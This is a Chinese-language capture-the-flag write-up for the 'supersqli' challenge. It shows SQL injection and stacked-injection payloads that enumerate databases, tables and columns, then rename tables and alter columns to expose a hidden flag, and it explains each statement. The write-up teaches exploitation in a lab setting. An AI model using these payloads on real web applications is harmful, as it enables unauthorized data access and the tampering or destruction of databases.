接下来尝试注入寻找注入点
1' or 1=1 %23
注列数,发现当order by 3的时候报错,order by 2没有说明列数为2
尝试使用联合注入看回显,结果返回了一个正则匹配的过滤,这里我们可以尝试进行堆叠注入
堆叠注入就是同时执行多条sql语句,堆叠堆叠,堆叠的就是这个sql语句,直接构造出多条sql语句,然后一次执行,每一条之间通过分号分割
开始构造payload:
?inject=1';show databases;#
显然这其中最可疑的数据库就是supersqli和CTFtraining了,我们分别打开
然后进一步分别查看一下他们的列名
可以看到ctftraining里面放的是一个假的flag,真的flag在supersqli这个表里面,这个表一共有两个表,分别是
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查看表的列名发现这里flag就放在’1919810931114514’这张表里面,但是这个flag字段的内容却没有回显
这个注意一个点,就是当查询的表名为数字时,要将表名用反引号给包裹起来
1'; show columns from `1919810931114514 `; %23
array(6) { //words表的列名
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) { //1919810931114514表的列名
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
首先过滤已经把select写死了,说以我们不能直接通过打印的方式将字段打印出来,但是看到最开始的时候我们构造的payload:**1’ or 1=1 #**可以回显,这里回显的原理:
可以猜出这条查询语句的源码大概是:
select data from supersqli.words where id = '$参数';
当传入的参数为1'or 1=1 %23的时候这条SQL命令就变成了=>
select * from supersqli.words where id = '1'or 1=1 %23';
or是一个逻辑运算符,当or前或者or后面的条件为真的时候就全为真,所以加上一个or 1=1的时候这条语句就恒为真,不管这个id是否等于1他都是正确可执行的,那就相当于查询了所有id所对应行的data值
所以我们可以利用这个恒为真的逻辑运算符,这里有一种思路(这大佬思路真的太巧妙了)就是,将这个纯数字表的名字换成,这个sql语句要查询的表的名字,然后把其中的flag列名换成这个待查询的列的名字,再将这表进行补全,也就是添加一个id的列,然后通过or 1=1将这个修改后的words里面的所有字段给查询出来
我称这个思想为金蝉进壳
- 将words的表名改成其它名字
- 将1919810931114514表名改成"words"
- 将flag列名改成id或者data
- 在将这个新的words表插入一个列,即id或者data
- 然后用1’ or 1=1 #进行查询这个新表words里面的内容
这里就要考验到我们对sql数据库的增删查改的能力了,当然我也不是很会
rename: 修改名字
使用方法:rename table(修改的类型) tableA(待修改的表等) to tableB(重命名后的名字)
alter:队列进行 *** 作
使用方法:alter table table[表名] add column[列名] type[数据类型] //(添加列)
alter table table[表名] change columnA[原列名] column[修改后列名] type[数据类型] //改变列名1
alter table table[表名] rename columnA[原列名] column[修改后列名] //改变列名2,(不改变数据类型)
alter table table[表名] alter column column[列名] type[修改后的数据类型] //修改列的数据类型
alter table table[表名] drop column[列名] type[数据类型] //删除表中的某一列
SQL限制条件:
alter table table[表名] modify column[列名] int not null //是某一列不能存储null的字段
alter table table[表名] modify column[列名] int null //解除对not null的限制
alter table table[表名] add column[列名] primary key (id)
//- NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
alter table table[表名] add unique (id);
//增加unique约束。保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束)
alter table table[表名] add check (限制条件); //限制列的值得范围
alter table table[表名] alter column[列名] set default '默认值' //设置默认值,即未给列赋值时的默认值
alter table table[表名] add constraint ab_c default '默认值' for column[列名] //
alter table table[表名] add column[列名] auto_increment //自动赋值,默认从1开始
alter table table[表名] add column[列名] foreign key //保证一个表中的数据匹配另一个表中的值的参照完整性
构造出payload如下:
1';rename table words to word111;rename table `1919810931114514` to words;alter table words change flag data char(50);alter table words add id int not null auto_increment primary key; %23
这个注意一个点,不能一条一条得写命令,这样会造成前面语法报错后后面的语句就会被忽略掉了
举个例子:
假如这道题的内部源码就是select data from supersqli.words where id = '$参数';
而我们通过堆叠注入一次执行了以下代码
- ';use supersqli;%23
- ';rename table words to word;%23
这就相当于执行了第一个步骤,将words表的表名改为其它任意名字,然后我接下来进行第二步,将flag所在的表1919810931114514
改成words
- ';rename table 1919810931114514 to words;%23
结果回显这个结果
他说words这个表已经不存在了,按常来说我修改1919810931114514这个表的名字关words这个表存不存在有什么关系,这是因为在执行这条sql语句之前先执行了select data from supersqli.words where id = ‘1’;这一条语句,而由于words这张表已经被我修改成其它名字导致了这条查询语句错误,这个数据库中同时执行多条命令时,如果其中一条命令报错了,它就会报错信息抛出,然后结束进程,后面不管有多少条命令,它都不会再去看了
而我们直接在payload中构造多条sql命令就不会存在每执行一次命令就查询一次words表,也就不会管它会不会报错的问题
接下来我在解析一下payload中每一条sql命令
rename table words to word111
; //将words表名更改为word111rename table
1919810931114514to words
//将1919810931114514表名改为wordsalter table words change flag data char(50);
//将words表中的flag列改成数据类型为char(50)名字为data的新列,关于sql字段的数据类型可自行百度,我后面估计会写一篇关于sql数据库增删查改的文章,到时候再详细介绍alter table words add id int not null auto_increment primary key;
//在words表中创建一个列,名字为id,(int not null auto_increment primary key)这些都是对这个列的约束条件
int: 初始化id列的数据类型为int整数型
auto_increment: 自增长长,在这个题中可以理解为给id创建几个行,或者理解为这个字段的数值,假如这个表里面原先只有一个列,为flag,且它有3行数值,然后通过这个auto_increment就可以自动添加三行,值分别为1,2,3(至于为什么是1,2,3这就涉及到这个约束条件的原理了,可以自行搜索sql约束条件相关的知识去了解它的原理),通常这个约束条件会配合primary key这个约束条件一同使用,因为这个自增长功能只能用于有键标识的列
primary key: 改id字段/列添加一个主键,便于让他使用auto自增长功能
修改完表之后就看了使用or 1=1恒等式进行打印这个修改后的“words”表了,当然flag就在这个data列里面
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)